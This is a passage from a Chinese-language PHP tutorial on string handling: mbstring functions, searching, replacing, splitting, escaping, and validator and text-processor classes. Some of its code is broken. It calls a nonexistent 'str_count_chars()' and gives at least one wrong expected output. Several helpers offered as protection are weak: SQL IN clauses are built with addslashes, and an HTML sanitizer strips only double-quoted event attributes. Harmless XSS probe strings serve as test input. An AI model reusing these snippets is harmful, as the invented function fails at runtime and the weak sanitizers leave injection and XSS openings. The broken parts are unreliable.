echo "前3个字符: " . ChineseStringHelper::substring($text, 0, 3) . "\n";

$chars = ChineseStringHelper::split($text);
echo "字符数组: " . implode(", ", $chars) . "\n";

echo "包含中文: " . (ChineseStringHelper::containsChinese($text) ? "是" : "否") . "\n";
?>

常见错误和解决方案

1. 编码问题

错误示例:

<?php
// 错误:没有指定编码
$chinese = "你好";
echo strlen($chinese);  // 可能输出错误的结果
?>

正确做法:

<?php
// 正确:使用多字节函数并指定编码
$chinese = "你好";
echo mb_strlen($chinese, 'UTF-8');
?>

2. 字符串越界访问

错误示例:

<?php
$str = "hello";
echo $str[10];  // 访问不存在的字符,会产生Notice
?>

正确做法:

<?php
$str = "hello";
$length = strlen($str);
if ($length > 10) {
    echo $str[10];
} else {
    echo "索引超出范围";
}
?>

3. 混淆比较运算符

错误示例:

<?php
$str1 = "123";
$str2 = 123;

if ($str1 == $str2) {  // 可能不是你想要的结果
    echo "相等";  // 会输出,因为类型转换
}
?>

正确做法:

<?php
$str1 = "123";
$str2 = 123;

if ($str1 === $str2) {  // 严格比较
    echo "完全相等";
} else {
    echo "类型或值不同";
}
?>

实际应用示例

用户输入处理

<?php
class InputProcessor {
    /**
     * 清理和验证用户名
     */
    public static function processUsername($username) {
        // 去除首尾空格
        $username = trim($username);

        // 检查长度
        $length = mb_strlen($username, 'UTF-8');
        if ($length < 3 || $length > 20) {
            return ['success' => false, 'message' => '用户名长度必须在3-20个字符之间'];
        }

        // 检查是否包含特殊字符
        if (preg_match('/[^a-zA-Z0-9\x{4e00}-\x{9fa5}_]/u', $username)) {
            return ['success' => false, 'message' => '用户名只能包含字母、数字、中文和下划线'];
        }

        // 转换为安全格式
        $safe_username = htmlspecialchars($username, ENT_QUOTES, 'UTF-8');

        return ['success' => true, 'username' => $safe_username];
    }
}

// 测试
$result1 = InputProcessor::processUsername(" 张三123 ");
print_r($result1);

$result2 = InputProcessor::processUsername("ab");
print_r($result2);

$result3 = InputProcessor::processUsername("张三@#");
print_r($result3);
?>

简单的模板引擎

<?php
class SimpleTemplate {
    private $template;

    public function __construct($template) {
        $this->template = $template;
    }

    /**
     * 渲染模板
     */
    public function render($variables = []) {
        $result = $this->template;

        foreach ($variables as $key => $value) {
            // 简单的变量替换 {变量名}
            $result = str_replace('{' . $key . '}', $value, $result);
        }

        return $result;
    }

    /**
     * 渲染并输出
     */
    public function display($variables = []) {
        echo $this->render($variables);
    }
}

// 使用示例
$template = new SimpleTemplate(<<<TEMPLATE
<div class="user-profile">
    <h1>{name}</h1>
    <p>邮箱:{email}</p>
    <p>年龄:{age}岁</p>
    <p>注册时间:{register_date}</p>
</div>
TEMPLATE);

$user_data = [
    'name' => '张三',
    'email' => 'zhangsan@example.com',
    'age' => 25,
    'register_date' => date('Y-m-d')
];

$template->display($user_data);
?>

本节练习

基础练习

  1. 使用四种不同的方式(单引号、双引号、Heredoc、Nowdoc)创建相同的字符串
  2. 编写一个函数,将字符串的首字母大写,其余字母小写
  3. 创建一个包含中文、英文、数字和特殊符号的字符串,并计算其字符数量

进阶练习

  1. 编写一个函数,检查字符串是否为回文(正读反读都一样)
  2. 实现一个简单的字符串加密函数(如凯撒密码)
  3. 创建一个函数,统计字符串中每个字符出现的次数

实战练习

  1. 完善InputProcessor类,添加邮箱和手机号验证功能
  2. 扩展SimpleTemplate类,支持条件渲染和循环
  3. 创建一个中文字符串处理工具类,包含常用方法

总结

本节我们学习了PHP字符串的基础知识,包括:

  • 字符串的概念和内存表示
  • 四种字符串创建方式及其特点
  • 字符串的访问、修改和连接操作
  • 字符串比较的各种方法
  • 特殊字符和转义序列的使用
  • 中文字符串处理的注意事项
  • 常见错误和解决方案

掌握这些基础知识是学习高级字符串处理技巧的前提。在下一节中,我们将学习PHP提供的强大字符串处理函数,这些函数将大大提高我们处理文本的能力。

💡 学习建议:多动手练习每个示例,特别注意中文字符串处理中的编码问题。在实际开发中,建议总是使用UTF-8编码和多字节字符串函数来处理中文内容。

6.2 字符串操作函数

PHP提供了丰富的内置字符串函数,这些函数可以帮助我们高效地完成各种字符串处理任务。掌握这些函数是PHP开发的基本功,能大大提高开发效率。

字符串长度和计算函数

strlen() - 获取字符串长度

<?php
// 基本用法
$text = "Hello World";
$length = strlen($text);
echo "字符串长度: {$length}\n";  // 输出: 11

// 包含中文字符
$chinese = "你好世界";
echo "字节长度: " . strlen($chinese) . "\n";  // 输出: 12 (UTF-8编码)

// 空字符串
$empty = "";
echo "空字符串长度: " . strlen($empty) . "\n";  // 输出: 0
?>

mb_strlen() - 获取多字节字符串长度

<?php
// 设置内部编码
mb_internal_encoding('UTF-8');

$text = "Hello 你好世界!";
echo "字节长度: " . strlen($text) . "\n";        // 输出: 字节数
echo "字符数量: " . mb_strlen($text, 'UTF-8') . "\n";  // 输出: 字符数

// 指定不同编码
$gbk_text = "你好"; // 假设这是GBK编码
echo "GBK字符数: " . mb_strlen($gbk_text, 'GBK') . "\n";
?>

str_word_count() - 统计单词数量

<?php
$text = "Hello world! This is a PHP tutorial.";

// 返回单词数量
$word_count = str_word_count($text);
echo "单词数量: {$word_count}\n";  // 输出: 6

// 返回包含所有单词的数组
$words = str_word_count($text, 1);
print_r($words);

// 返回包含单词位置信息的数组
$words_with_positions = str_word_count($text, 2);
print_r($words_with_positions);

// 处理包含中文的文本
$chinese_text = "你好世界,PHP编程";
echo "英文单词数: " . str_word_count($chinese_text) . "\n";  // 可能无法正确统计中文
?>

str_count_chars() - 统计字符出现次数

<?php
$text = "Hello World! Hello PHP!";

// 返回所有字符出现次数的数组
$char_counts = str_count_chars($text, 0);
print_r($char_counts);

// 只返回出现过的字符
$used_chars = str_count_chars($text, 1);
print_r($used_chars);

// 模式2:返回包含字符ASCII值的数组,未出现的字符值为0
$all_chars = str_count_chars($text, 2);
print_r($all_chars);

// 实用函数:找出字符串中唯一的字符
function getUniqueChars($str) {
    return array_keys(str_count_chars($str, 1));
}

$unique_chars = getUniqueChars($text);
echo "唯一字符: " . implode(', ', $unique_chars) . "\n";
?>

字符串查找和定位函数

strpos() - 查找子字符串首次出现位置

<?php
$text = "Hello World, Hello PHP!";

// 查找子字符串
$position = strpos($text, "World");
echo "'World'位置: {$position}\n";  // 输出: 6

// 查找不存在的字符串
$not_found = strpos($text, "Python");
var_dump($not_found);  // 输出: false

// 使用严格比较
if (strpos($text, "Hello") !== false) {
    echo "找到了'Hello'\n";
}

// 从指定位置开始搜索
$second_hello = strpos($text, "Hello", 1);  // 从第2个字符开始
echo "第二个'Hello'位置: {$second_hello}\n";  // 输出: 13
?>

strrpos() - 查找子字符串最后出现位置

<?php
$text = "Hello World, Hello PHP! Hello Again!";

// 查找最后一次出现的位置
$last_hello = strrpos($text, "Hello");
echo "最后一个'Hello'位置: {$last_hello}\n";

// 实用示例:获取文件扩展名
function getFileExtension($filename) {
    $last_dot = strrpos($filename, '.');
    if ($last_dot === false) {
        return '';
    }
    return substr($filename, $last_dot + 1);
}

echo "文件扩展名: " . getFileExtension("document.pdf") . "\n";
echo "文件扩展名: " . getFileExtension("archive.tar.gz") . "\n";
echo "文件扩展名: " . getFileExtension("filename") . "\n";
?>

stripos() 和 strripos() - 大小写不敏感的查找

<?php
$text = "Hello World, hello PHP!";

// 大小写不敏感查找
$pos1 = stripos($text, "hello");  // 找到第一个
$pos2 = strripos($text, "hello"); // 找到最后一个

echo "第一个'hello'(不区分大小写): {$pos1}\n";
echo "最后一个'hello'(不区分大小写): {$pos2}\n";

// 实际应用:检查文本中是否包含关键词(不区分大小写)
function containsKeyword($text, $keyword) {
    return stripos($text, $keyword) !== false;
}

$article = "PHP是一种流行的编程语言...";
if (containsKeyword($article, "php")) {
    echo "文章包含PHP相关内容\n";
}
?>

strstr() 和 stristr() - 查找并返回子字符串

<?php
$email = "user@example.com";

// strstr - 大小写敏感
$domain = strstr($email, "@");
echo "域名部分: {$domain}\n";  // 输出: @example.com

// 只返回@之前的部分
$username = strstr($email, "@", true);
echo "用户名: {$username}\n";  // 输出: user

// stristr - 大小写不敏感
$text = "Hello World";
$result = stristr($text, "o");
echo "从'o'开始: {$result}\n";  // 输出: o World
?>

substr_count() - 统计子字符串出现次数

<?php
$text = "Hello Hello Hello World";

// 统计出现次数
$count = substr_count($text, "Hello");
echo "'Hello'出现次数: {$count}\n";  // 输出: 3

// 在指定范围内统计
$count_partial = substr_count($text, "Hello", 0, 10);
echo "前10个字符中'Hello'出现次数: {$count_partial}\n";  // 输出: 1

// 实际应用:检查密码强度
function checkPasswordStrength($password) {
    $issues = [];

    if (strlen($password) < 8) {
        $issues[] = "密码长度至少8位";
    }

    if (substr_count($password, $password[0]) > strlen($password) / 2) {
        $issues[] = "密码不应包含过多重复字符";
    }

    if (!preg_match('/[A-Z]/', $password)) {
        $issues[] = "密码应包含大写字母";
    }

    if (!preg_match('/[0-9]/', $password)) {
        $issues[] = "密码应包含数字";
    }

    return empty($issues) ? "密码强度良好" : implode(", ", $issues);
}

echo checkPasswordStrength("password123") . "\n";
echo checkPasswordStrength("aaaaaaaa") . "\n";
echo checkPasswordStrength("StrongPass123") . "\n";
?>

字符串截取和提取函数

substr() - 截取子字符串

<?php
$text = "Hello World!";

// 基本截取
$substring = substr($text, 6);
echo "从位置6开始: {$substring}\n";  // 输出: World!

// 指定长度
$substring2 = substr($text, 0, 5);
echo "前5个字符: {$substring2}\n";  // 输出: Hello

// 负数偏移量(从末尾开始)
$substring3 = substr($text, -6);
echo "最后6个字符: {$substring3}\n";  // 输出: World!

// 负数长度
$substring4 = substr($text, 0, -1);
echo "除最后一个字符: {$substring4}\n";  // 输出: Hello World

// 实用函数:生成字符串摘要
function getSummary($text, $length = 100, $suffix = '...') {
    if (mb_strlen($text, 'UTF-8') <= $length) {
        return $text;
    }
    return mb_substr($text, 0, $length, 'UTF-8') . $suffix;
}

$long_text = "这是一个很长的文本,需要截取生成摘要。在实际应用中,我们经常需要显示文章的摘要而不是完整内容。";
echo "摘要: " . getSummary($long_text, 30) . "\n";
?>

mb_substr() - 多字节安全的截取

<?php
// 中文字符串截取
$chinese = "你好,世界!欢迎学习PHP编程!";

// 错误的做法(使用substr)
$wrong = substr($chinese, 0, 10);  // 可能截断中文字符
echo "错误截取: {$wrong}\n";

// 正确的做法(使用mb_substr)
$correct = mb_substr($chinese, 0, 10, 'UTF-8');
echo "正确截取: {$correct}\n";

// 实用类:文本截取工具
class TextTruncator {
    private $encoding;

    public function __construct($encoding = 'UTF-8') {
        $this->encoding = $encoding;
    }

    /**
     * 截取指定长度的文本
     */
    public function truncate($text, $length, $suffix = '...') {
        if (mb_strlen($text, $this->encoding) <= $length) {
            return $text;
        }
        return mb_substr($text, 0, $length, $this->encoding) . $suffix;
    }

    /**
     * 截取单词边界的文本
     */
    public function truncateByWords($text, $wordCount, $suffix = '...') {
        $words = preg_split('/\s+/', $text);
        if (count($words) <= $wordCount) {
            return $text;
        }
        return implode(' ', array_slice($words, 0, $wordCount)) . $suffix;
    }
}

$truncator = new TextTruncator();
echo "按字符截取: " . $truncator->truncate($chinese, 15) . "\n";

$english = "This is a sample text for demonstration purposes.";
echo "按单词截取: " . $truncator->truncateByWords($english, 5) . "\n";
?>

substr_replace() - 替换子字符串

<?php
$text = "Hello World!";

// 替换指定范围的字符
$replaced = substr_replace($text, "PHP", 6, 5);
echo "替换后: {$replaced}\n";  // 输出: Hello PHP!

// 在指定位置插入
$inserted = substr_replace($text, " Beautiful", 5, 0);
echo "插入后: {$inserted}\n";  // 输出: Hello Beautiful World!

// 删除指定范围的字符
$deleted = substr_replace($text, "", 6, 6);
echo "删除后: {$deleted}\n";  // 输出: Hello !

// 实用函数:隐藏部分信息
function maskSensitiveInfo($data, $type = 'email') {
    switch ($type) {
        case 'email':
            $at = strpos($data, '@');
            if ($at !== false) {
                $username = substr($data, 0, $at);
                $domain = substr($data, $at);

                if (strlen($username) > 2) {
                    $masked_username = substr($username, 0, 2) . str_repeat('*', strlen($username) - 2);
                } else {
                    $masked_username = str_repeat('*', strlen($username));
                }

                return $masked_username . $domain;
            }
            break;

        case 'phone':
            if (strlen($data) > 4) {
                return substr($data, 0, 3) . str_repeat('*', strlen($data) - 6) . substr($data, -3);
            }
            break;

        case 'id_card':
            if (strlen($data) > 6) {
                return substr($data, 0, 6) . str_repeat('*', strlen($data) - 10) . substr($data, -4);
            }
            break;
    }

    return $data;
}

echo "邮箱隐藏: " . maskSensitiveInfo("zhangsan@example.com", "email") . "\n";
echo "手机号隐藏: " . maskSensitiveInfo("13812345678", "phone") . "\n";
echo "身份证隐藏: " . maskSensitiveInfo("110101199001011234", "id_card") . "\n";
?>

字符串替换函数

str_replace() - 替换所有匹配的字符串

<?php
$text = "Hello World! Hello PHP! Hello World!";

// 基本替换
$replaced = str_replace("Hello", "Hi", $text);
echo "替换后: {$replaced}\n";

// 多对多替换
$search = ["Hello", "World", "PHP"];
$replace = ["Hi", "Universe", "JavaScript"];
$multi_replaced = str_replace($search, $replace, $text);
echo "多对多替换: {$multi_replaced}\n";

// 统计替换次数
$replaced_count = str_replace("Hello", "Hi", $text, $count);
echo "替换次数: {$count}\n";

// 实用函数:处理用户输入,过滤敏感词
function filterSensitiveWords($text) {
    $sensitive_words = ['笨蛋', '白痴', '傻瓜', 'evil', 'stupid'];
    $replacements = array_fill(0, count($sensitive_words), '***');
    return str_replace($sensitive_words, $replacements, $text);
}

$user_input = "你这个笨蛋,真是个stupid!";
echo "过滤后: " . filterSensitiveWords($user_input) . "\n";
?>

str_ireplace() - 大小写不敏感的替换

<?php
$text = "Hello world! HELLO WORLD! hello world!";

// 大小写不敏感替换
$replaced = str_ireplace("hello", "hi", $text);
echo "不敏感替换: {$replaced}\n";

// 实际应用:URL友好化
function urlFriendly($string) {
    // 转换为小写
    $string = strtolower($string);

    // 替换空格和特殊字符
    $replacements = [
        ' ' => '-',
        '&' => 'and',
        '+' => 'plus'
    ];

    $string = str_ireplace(array_keys($replacements), array_values($replacements), $string);

    // 移除非字母数字字符(除了连字符)
    $string = preg_replace('/[^a-z0-9\-]/', '', $string);

    // 移除多余的连字符
    $string = preg_replace('/-+/', '-', $string);

    return trim($string, '-');
}

$url1 = "Hello World! This is a Test";
$url2 = "PHP & MySQL + Apache = LAMP";
echo "URL1: " . urlFriendly($url1) . "\n";
echo "URL2: " . urlFriendly($url2) . "\n";
?>

preg_replace() - 正则表达式替换

<?php
$text = "我的手机号是13812345678,邮箱是user@example.com,网站是https://www.example.com";

// 匹配手机号并隐藏
$hidden_phone = preg_replace('/(1[3-9]\d)\d{4}(\d{4})/', '$1****$2', $text);
echo "隐藏手机号: {$hidden_phone}\n";

// 匹配邮箱并部分隐藏
$hidden_email = preg_replace('/([a-zA-Z0-9._%+-]+)@([a-zA-Z0-9.-]+\.[a-zA-Z]{2,})/', '$1***@$2', $text);
echo "隐藏邮箱: {$hidden_email}\n";

// 移除HTML标签
$html = "<div><p>这是一个<strong>重要</strong>的<strong>消息</strong>!</p></div>";
$plain_text = preg_replace('/<[^>]*>/', '', $html);
echo "纯文本: {$plain_text}\n";

// 实用函数:清理文本中的多余空白
function cleanWhitespace($text) {
    // 移除多余的空格
    $text = preg_replace('/\s+/', ' ', $text);

    // 移除首尾空格
    $text = trim($text);

    return $text;
}

$messy_text = "   这是一个     包含
    多个    空格和   换行符的    文本。   ";
echo "清理后: '" . cleanWhitespace($messy_text) . "'\n";
?>

字符串分割和连接函数

explode() - 分割字符串为数组

<?php
// 基本分割
$text = "apple,banana,orange,grape";
$fruits = explode(",", $text);
print_r($fruits);

// 限制分割数量
$text2 = "one,two,three,four,five";
$parts = explode(",", $text2, 3);
print_r($parts);

// 解析CSV格式
$csv_line = '"张三",25,"男","zhangsan@example.com"';
$csv_data = str_getcsv($csv_line);
print_r($csv_data);

// 实用函数:解析配置文件行
function parseConfigLine($line) {
    // 移除注释和空白
    $line = trim(preg_replace('/#.*$/', '', $line));

    if (empty($line) || strpos($line, '=') === false) {
        return null;
    }

    list($key, $value) = explode('=', $line, 2);
    return [
        'key' => trim($key),
        'value' => trim($value, ' "')
    ];
}

$config_line = 'database_host = "localhost"';
$parsed = parseConfigLine($config_line);
print_r($parsed);
?>

implode() 和 join() - 连接数组元素为字符串

<?php
$fruits = ["apple", "banana", "orange", "grape"];

// 连接数组元素
$string1 = implode(", ", $fruits);
$string2 = join(" | ", $fruits);  // join是implode的别名

echo "逗号连接: {$string1}\n";
echo "竖线连接: {$string2}\n";

// 实际应用:生成SQL IN子句
function generateInClause($array) {
    if (empty($array)) {
        return "";
    }

    // 转义每个值
    $escaped = array_map(function($value) {
        return "'" . addslashes($value) . "'";
    }, $array);

    return "IN (" . implode(", ", $escaped) . ")";
}

$usernames = ["张三", "李四", "王五"];
$sql = "SELECT * FROM users WHERE username " . generateInClause($usernames);
echo "SQL: {$sql}\n";

// 构建CSS类字符串
function buildClasses($classes) {
    // 过滤空值并去重
    $clean_classes = array_filter(array_unique($classes));
    return implode(" ", $clean_classes);
}

$element_classes = ["btn", "btn-primary", "", "btn-primary", "active"];
$class_string = buildClasses($element_classes);
echo "CSS类: '{$class_string}'\n";
?>

str_split() - 将字符串分割为字符数组

<?php
$text = "Hello";

// 分割为单个字符
$chars = str_split($text);
print_r($chars);

// 指定每组长度
$chunks = str_split($text, 2);
print_r($chunks);

// 实用函数:格式化电话号码
function formatPhoneNumber($phone) {
    // 移除所有非数字字符
    $digits = preg_replace('/\D/', '', $phone);

    if (strlen($digits) === 11) {
        $area = substr($digits, 0, 3);
        $prefix = substr($digits, 3, 4);
        $line = substr($digits, 7, 4);
        return "{$area}-{$prefix}-{$line}";
    }

    return $phone;
}

echo "格式化手机号: " . formatPhoneNumber("13812345678") . "\n";
echo "格式化电话号: " . formatPhoneNumber("(010) 1234-5678") . "\n";
?>

chunk_split() - 分割字符串为小块

<?php
$text = "HelloWorldHelloWorld";

// 每4个字符分割一次
$chunked = chunk_split($text, 4, "-");
echo "分割后: {$chunked}\n";

// 实际应用:格式化二进制数据
function formatBinaryData($data, $chunk_size = 8, $line_size = 8) {
    $binary = '';
    $chunks = str_split($data, $chunk_size);

    foreach ($chunks as $i => $chunk) {
        $binary .= bin2hex($chunk) . ' ';

        if (($i + 1) % $line_size === 0) {
            $binary .= "\n";
        }
    }

    return trim($binary);
}

$sample_data = "Hello World!";
echo "二进制格式:\n" . formatBinaryData($sample_data) . "\n";
?>

大小写转换函数

strtolower() - 转换为小写

<?php
$text = "Hello World! 你好世界!";

$lower = strtolower($text);
echo "小写: {$lower}\n";

// 实际应用:统一处理用户输入
function normalizeInput($input) {
    // 转换为小写并去除空白
    return strtolower(trim($input));
}

$user_input1 = "  ADMIN  ";
$user_input2 = "Admin";
$user_input3 = "ADMIN";

if (normalizeInput($user_input1) === normalizeInput($user_input2)) {
    echo "用户输入相同\n";
}
?>

strtoupper() - 转换为大写

<?php
$text = "Hello World! 你好世界!";

$upper = strtoupper($text);
echo "大写: {$upper}\n";

// 实用函数:生成验证码
function generateCaptcha($length = 6) {
    $chars = 'ABCDEFGHJKLMNPQRSTUVWXYZ23456789';
    $captcha = '';

    for ($i = 0; $i < $length; $i++) {
        $captcha .= $chars[rand(0, strlen($chars) - 1)];
    }

    return $captcha;
}

echo "验证码: " . generateCaptcha() . "\n";
?>

ucfirst() - 首字母大写

<?php
$text = "hello world";

$capitalized = ucfirst($text);
echo "首字母大写: {$capitalized}\n";

// 实用函数:格式化姓名
function formatName($name) {
    // 分割姓名并转换每个部分的首字母
    $parts = explode(' ', strtolower(trim($name)));
    $formatted_parts = array_map('ucfirst', $parts);
    return implode(' ', $formatted_parts);
}

echo "格式化姓名: " . formatName("john doe") . "\n";
echo "格式化姓名: " . formatName("MARY JANE") . "\n";
?>

ucwords() - 每个单词首字母大写

<?php
$text = "hello world! this is php.";

$capitalized = ucwords($text);
echo "每个单词首字母大写: {$capitalized}\n";

// 处理自定义分隔符
$text2 = "hello_world-php_javascript";
$capitalized2 = ucwords($text2, "_-");
echo "自定义分隔符: {$capitalized2}\n";

// 实用函数:格式化标题
function formatTitle($title) {
    // 转换为小写,然后每个单词首字母大写
    $title = strtolower($title);
    $title = ucwords($title);

    // 处理一些特殊情况
    $exceptions = ['a', 'an', 'the', 'and', 'but', 'or', 'for', 'nor', 'on', 'at', 'to', 'from', 'by'];
    $words = explode(' ', $title);

    foreach ($words as $i => &$word) {
        if ($i > 0 && in_array(strtolower($word), $exceptions)) {
            $word = strtolower($word);
        }
    }

    return implode(' ', $words);
}

echo "格式化标题: " . formatTitle("THE QUICK BROWN FOX JUMPS OVER THE LAZY DOG") . "\n";
?>

字符串清理和修剪函数

trim() - 去除首尾空白

<?php
$text = "   Hello World!   \n\t";

$trimmed = trim($text);
echo "去除空白: '{$trimmed}'\n";

// 指定要去除的字符
$text2 = "...Hello World!!!";
$trimmed2 = trim($text2, ".!");
echo "去除指定字符: '{$trimmed2}'\n";

// 实用函数:清理用户输入
function cleanUserInput($input) {
    // 去除首尾空白
    $input = trim($input);

    // 移除多余的空格
    $input = preg_replace('/\s+/', ' ', $input);

    return $input;
}

$messy_input = "   张三    <script>alert('xss')</script>   ";
echo "清理后: '" . cleanUserInput($messy_input) . "'\n";
?>

ltrim() 和 rtrim() - 去除左侧或右侧空白

<?php
$text = "   Hello World!   ";

$left_trimmed = ltrim($text);
echo "去除左侧空白: '{$left_trimmed}'\n";

$right_trimmed = rtrim($text);
echo "去除右侧空白: '{$right_trimmed}'\n";

// 实际应用:清理文件路径
function cleanFilePath($path) {
    // 去除尾部斜杠
    $path = rtrim($path, '/\\');
    return $path;
}

$path1 = "/var/www/html/";
$path2 = "C:\\Users\\Documents\\";
echo "清理路径1: " . cleanFilePath($path1) . "\n";
echo "清理路径2: " . cleanFilePath($path2) . "\n";
?>

HTML和安全相关函数

htmlspecialchars() - HTML特殊字符转义

<?php
$user_input = '<script>alert("XSS Attack!");</script>';

// 转义HTML特殊字符
$safe_input = htmlspecialchars($user_input, ENT_QUOTES, 'UTF-8');
echo "安全输出: {$safe_input}\n";

// 实用函数:安全地输出用户内容
function safeEcho($content) {
    echo htmlspecialchars($content, ENT_QUOTES, 'UTF-8');
}

$comment = "<b>你好</b><script>alert('xss')</script>";
echo "安全输出: ";
safeEcho($comment);
echo "\n";
?>

htmlentities() - 转换所有HTML实体

<?php
$text = "中文 & English © 2024";

// 转换所有HTML实体
$encoded = htmlentities($text, ENT_QUOTES, 'UTF-8');
echo "HTML实体: {$encoded}\n";

// 实用函数:准备邮件内容
function prepareEmailContent($content) {
    // 转换HTML实体
    $content = htmlentities($content, ENT_QUOTES, 'UTF-8');

    // 转换换行符
    $content = nl2br($content);

    return $content;
}

$email_content = "你好\n这是一封测试邮件\n包含特殊字符: < > & \" '";
echo "邮件内容: " . prepareEmailContent($email_content) . "\n";
?>

strip_tags() - 移除HTML和PHP标签

<?php
$html = "<div><p>这是一段<strong>重要</strong>的文字。</p><script>alert('xss')</script></div>";

// 移除所有标签
$plain_text = strip_tags($html);
echo "纯文本: {$plain_text}\n";

// 保留指定标签
$allowed_html = strip_tags($html, '<strong><em>');
echo "允许的标签: {$allowed_html}\n";

// 实用函数:清理用户输入的HTML
function sanitizeHTML($html, $allowed_tags = '<p><br><strong><em><ul><ol><li>') {
    // 移除危险属性
    $html = preg_replace('/\s*on\w+="[^"]*"/i', '', $html);

    // 保留允许的标签
    $clean_html = strip_tags($html, $allowed_tags);

    return $clean_html;
}

$user_html = '<p onclick="alert(\'xss\')">点击这里</p><strong>重要内容</strong>';
echo "清理后的HTML: " . sanitizeHTML($user_html) . "\n";
?>

addslashes() 和 stripslashes() - 转义和反转义引号

<?php
$text = "Don't forget to escape \"quotes\"";

// 转义引号
$escaped = addslashes($text);
echo "转义后: {$escaped}\n";

// 反转义
$unescaped = stripslashes($escaped);
echo "反转义后: {$unescaped}\n";

// 实际应用:准备数据库查询(现在更推荐使用预处理语句)
function escapeForDatabase($value) {
    return "'" . addslashes($value) . "'";
}

$name = "O'Reilly";
$safe_name = escapeForDatabase($name);
echo "数据库安全: {$safe_name}\n";
?>

综合应用示例

文本处理工具类

<?php
class TextProcessor {
    /**
     * 清理和标准化文本
     */
    public static function clean($text) {
        // 去除HTML标签
        $text = strip_tags($text);

        // 转换HTML实体
        $text = html_entity_decode($text, ENT_QUOTES, 'UTF-8');

        // 标准化空白字符
        $text = preg_replace('/\s+/', ' ', $text);

        // 去除首尾空白
        $text = trim($text);

        return $text;
    }

    /**
     * 生成URL友好的slug
     */
    public static function slug($text, $length = 50) {
        // 转换为小写
        $text = strtolower($text);

        // 替换非字母数字字符为连字符
        $text = preg_replace('/[^a-z0-9]+/', '-', $text);

        // 移除开头和结尾的连字符
        $text = trim($text, '-');

        // 限制长度
        if (strlen($text) > $length) {
            $text = substr($text, 0, $length);
            $text = trim($text, '-');
        }

        return $text ?: 'untitled';
    }

    /**
     * 截取文本并保留单词完整性
     */
    public static function excerpt($text, $length = 150, $suffix = '...') {
        $text = self::clean($text);

        if (mb_strlen($text, 'UTF-8') <= $length) {
            return $text;
        }

        // 截取到指定长度
        $excerpt = mb_substr($text, 0, $length, 'UTF-8');

        // 找到最后一个空格,避免截断单词
        $last_space = mb_strrpos($excerpt, ' ', 'UTF-8');
        if ($last_space !== false) {
            $excerpt = mb_substr($excerpt, 0, $last_space, 'UTF-8');
        }

        return $excerpt . $suffix;
    }

    /**
     * 高亮关键词
     */
    public static function highlightKeywords($text, $keywords) {
        if (empty($keywords)) {
            return $text;
        }

        if (!is_array($keywords)) {
            $keywords = [$keywords];
        }

        foreach ($keywords as $keyword) {
            if (!empty(trim($keyword))) {
                $pattern = '/(' . preg_quote($keyword, '/') . ')/i';
                $replacement = '<mark>$1</mark>';
                $text = preg_replace($pattern, $replacement, $text);
            }
        }

        return $text;
    }

    /**
     * 计算文本统计信息
     */
    public static function statistics($text) {
        $text = self::clean($text);

        return [
            'characters' => mb_strlen($text, 'UTF-8'),
            'characters_no_spaces' => mb_strlen(preg_replace('/\s/', '', $text), 'UTF-8'),
            'words' => str_word_count($text),
            'sentences' => preg_match_all('/[.!?]+/', $text, $matches),
            'paragraphs' => count(preg_split('/\n\s*\n/', $text)),
            'reading_time' => ceil(str_word_count($text) / 200)  // 假设每分钟200字
        ];
    }
}

// 使用示例
$article = "PHP是一种广泛使用的开源脚本语言,特别适合Web开发。它可以嵌入HTML中,或者作为命令行脚本运行。PHP支持多种数据库,易于学习,拥有庞大的开发者社区。";

echo "清理后: " . TextProcessor::clean($article) . "\n";
echo "Slug: " . TextProcessor::slug($article) . "\n";
echo "摘要: " . TextProcessor::excerpt($article, 50) . "\n";

$highlighted = TextProcessor::highlightKeywords($article, ['PHP', 'Web']);
echo "高亮关键词: {$highlighted}\n";

$stats = TextProcessor::statistics($article);
echo "统计信息:\n";
foreach ($stats as $key => $value) {
    echo "  {$key}: {$value}\n";
}
?>

用户输入验证和处理

<?php
class InputValidator {
    /**
     * 验证用户名
     */
    public static function validateUsername($username) {
        $errors = [];

        // 清理输入
        $username = trim($username);

        // 检查长度
        $length = mb_strlen($username, 'UTF-8');
        if ($length < 3) {
            $errors[] = "用户名至少需要3个字符";
        } elseif ($length > 20) {
            $errors[] = "用户名不能超过20个字符";
        }

        // 检查字符格式
        if (!preg_match('/^[a-zA-Z0-9_\x{4e00}-\x{9fa5}]+$/u', $username)) {
            $errors[] = "用户名只能包含字母、数字、下划线和中文字符";
        }

        // 检查是否以下划线或数字开头
        if (preg_match('/^[0-9_]/', $username)) {
            $errors[] = "用户名不能以下划线或数字开头";
        }

        return empty($errors) ? true : $errors;
    }

    /**
     * 验证邮箱地址
     */
    public static function validateEmail($email) {
        $errors = [];

        // 清理输入
        $email = strtolower(trim($email));

        // 基本格式验证
        if (!filter_var($email, FILTER_VALIDATE_EMAIL)) {
            $errors[] = "邮箱格式不正确";
            return $errors;
        }

        // 长度检查
        if (strlen($email) > 254) {
            $errors[] = "邮箱地址过长";
        }

        // 检查是否包含中文字符
        if (preg_match('/[\x{4e00}-\x{9fa5}]/u', $email)) {
            $errors[] = "邮箱地址不能包含中文字符";
        }

        return empty($errors) ? true : $errors;
    }

    /**
     * 验证手机号(中国大陆)
     */
    public static function validatePhone($phone) {
        $errors = [];

        // 清理输入
        $phone = preg_replace('/\D/', '', $phone);  // 只保留数字

        // 检查长度
        if (strlen($phone) !== 11) {
            $errors[] = "手机号必须是11位数字";
            return $errors;
        }

        // 检查格式
        if (!preg_match('/^1[3-9]\d{9}$/', $phone)) {
            $errors[] = "手机号格式不正确";
        }

        return empty($errors) ? true : $errors;
    }

    /**
     * 清理用户输入内容
     */
    public static function sanitizeContent($content) {
        // 去除HTML标签
        $content = strip_tags($content);

        // 转义特殊字符
        $content = htmlspecialchars($content, ENT_QUOTES, 'UTF-8');

        // 标准化空白字符
        $content = preg_replace('/\s+/', ' ', $content);

        // 去除首尾空白
        $content = trim($content);

        return $content;
    }
}

// 测试验证函数
$test_cases = [
    'username' => ['张三123', 'a', '123张三', 'user@name'],
    'email' => ['user@example.com', 'invalid.email', '用户@邮箱.com', 'a' . str_repeat('a', 250) . '@example.com'],
    'phone' => ['13812345678', '12345678901', '188-1234-5678', '1381234567']
];

echo "用户名验证结果:\n";
foreach ($test_cases['username'] as $username) {
    $result = InputValidator::validateUsername($username);
    echo "  {$username}: " . (is_array($result) ? implode(', ', $result) : '通过') . "\n";
}

echo "\n邮箱验证结果:\n";
foreach ($test_cases['email'] as $email) {
    $result = InputValidator::validateEmail($email);
    echo "  {$email}: " . (is_array($result) ? implode(', ', $result) : '通过') . "\n";
}

echo "\n手机号验证结果:\n";
foreach ($test_cases['phone'] as $phone) {
    $result = InputValidator::validatePhone($phone);
